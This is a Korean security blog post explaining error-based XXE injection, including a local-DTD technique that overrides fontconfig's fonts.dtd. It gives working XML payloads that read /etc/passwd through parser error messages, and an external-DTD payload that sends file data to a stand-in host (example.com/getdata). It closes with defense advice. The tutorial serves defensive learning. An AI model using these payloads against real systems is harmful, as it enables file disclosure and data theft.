Error Based XXE Injection
최근 발견한 XXE LFI Injection 취약점에 대해 소개하고자 합니다.
이 취약점은 아래 포스팅을 참고하여 Exploit을 진행했습니다.
Exploiting XXE with local DTD files
Automating local DTD discovery for XXE exploitation
XXE Injection
XXE 취약점은 XML 파서가 사용자가 입력한 XML을 실행하는 중 발생하는 취약점입니다.
OWASP TOP10에 꾸준히 올라오고 있기 때문에 많은 Cheat Sheet나 Prevention이 존재합니다.
Error Based XXE
Error Based XXE 는 위에서 본 일반적인 상황과 다르게 Entity 값을 돌려받지 못할때 사용합니다.
/etc/passwd의 파일을 읽어와서. 태그로 반환을 해줘야 하는데 그렇지 않을때 보통 사용한다고 생각하면 됩니다.
그럼 아래와 같이 file entity 를 정의 하고 eval entity를 file:///empty/+file entity값을 실행한 결과로 정의 한 후에 실행을 한다면 어떻게 될까요?
<?xml version="1.0" ?>
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval " <!ENTITY % error SYSTEM 'file:///empty/%file;'> ">
%eval;
%error;
그럼 존재 하지 않는 파일을 조회 하기 때문에 아래와 같이 에러가 발생하게 됩니다.
java.io.FileNotFoundException: /empty/root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/usr/bin/nologin
daemon:x:2:2:daemon:/:/usr/bin/nologin
(No such file or directory)
다만 이 결과를 돌려주지 않는 경우가 많기 때문에 우리는 외부 DTD파일을 실행하는 코드를 사용하게 됩니다.
외부 DTD 로 Error Based XXE 실행
http://example.com/exploit.dtd
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///empty/%file;'>">
%eval;
%error;
Request
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % data SYSTEM “http://example.com/exploit.dtd”>
<!ENTITY % exploit "<!ENTITY % external SYSTEM 'http://example.com/getdata?data=%data;'>
">
%expoit;
%external;
]>
외부 DTD 로드 불가, 에러는 출력 해줄때 LFI Attack
위 exploit의 핵심은 외부 DTD 공격이 안되나 error를 출력해준다면 Local DTD로 exploit이 가능합니다.
쉽게 설명하자면 SQL Injection 공격과 비슷하다고 생각하시면 됩니다.
Error Test
아래와 같이 XXE Playload를 작성하여 보냈다고 가정합니다.
Request
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % file SYSTEM "file:///tmp/aaa">
%file;
]>
<message></message>
Response
{"error":"/tmp/aaa (No such file or directory)"}
해당 에러를 통해 내부파일에 접근 가능한것을 확인합니다.
Injection 가능한 Local DTD File 찾기
/usr/share/xml/fontconfig/fonts.dtd로 접근시 에러가 발생하지 않음
공격 가능한 여러 Local DTD 파일 존재함.
Request
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % file SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
%file;
]>
<message></message>
Response
{"error":""}
Local DTD를 이용한 XXE Injection
fonts.dtd 의 내용은 아래와 같습니다.
/usr/share/xml/fontconfig/fonts.dtd
<!ENTITY % expr 'int|double|string|matrix|bool|charset|langset
|name|const
|or|and|eq|not_eq|less|less_eq|more|more_eq|contains|not_contains
|plus|minus|times|divide|not|if|floor|ceil|round|trunc'>
[...]
<!ELEMENT test (%expr;)>
Exploit 실행 결과입니다.
Request
<?xml version="1.0"?>
<!DOCTYPE exploit [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
<!ENTITY % expr 'go)>
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///empty/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
<message></message>
Response
{"error":"/empty/root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/usr/bin/nologin
daemon:x:2:2:daemon:/:/usr/bin/nologin
(No such file or directory)
"}
Exploit 설명
첫번째로 local_dtd entity 에 fonts.dtd 파일을 읽어 가지고 있습니다.
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
expr entity 를 ‘ ’ 의 내용으로 재정의(override) 합니다.
<!ENTITY % expr ‘go)> exploit code '>
이미 정의된 <!ELEMENT test(…)> 의 내용이 <!ELEMENT test(go)> exploit code > 로 재정의 되면서
local_dtd entity 호출시 해당 exploit code가 실행 됩니다.
Exploit code는 처음 설명 드린 것 처럼 error 코드에 file 내용을 출력하는 코드입니다. 여기서 % 나 & 를 유니코드 값으로 표현한 이유는 expr이 재정의 되고 난 후에 실행이 되도록 해야하기 때문입니다.
문자 그대로 입력하면 치환이 되기 전에 실행 되버려서 파싱 에러가 발생했습니다.
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///empty/%file;'>">
%eval;
%error;
어떻게 방어할 것인가
가장 안전한 방법은 Apache에서 http://apache.org/xml/features/disallow-doctype-decl
옵션을 주는것 처럼 XXE 취약점이 발생하지 않도록 외부 Entity 사용을 막는것이라 생각됩니다.
DTD 비활성화가 불가능 하다면 XML Parser를 안전하게 구현 해야 할 것입니다.
참고자료
- BLOG
https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/
https://www.gosecure.net/blog/2019/07/16/automating-local-dtd-discovery-for-xxe-exploitation/
- Cheat sheet
https://gist.github.com/staaldraad/01415b990939494879b4
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/xxe.md
- Prevention sheet
https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
Leave a comment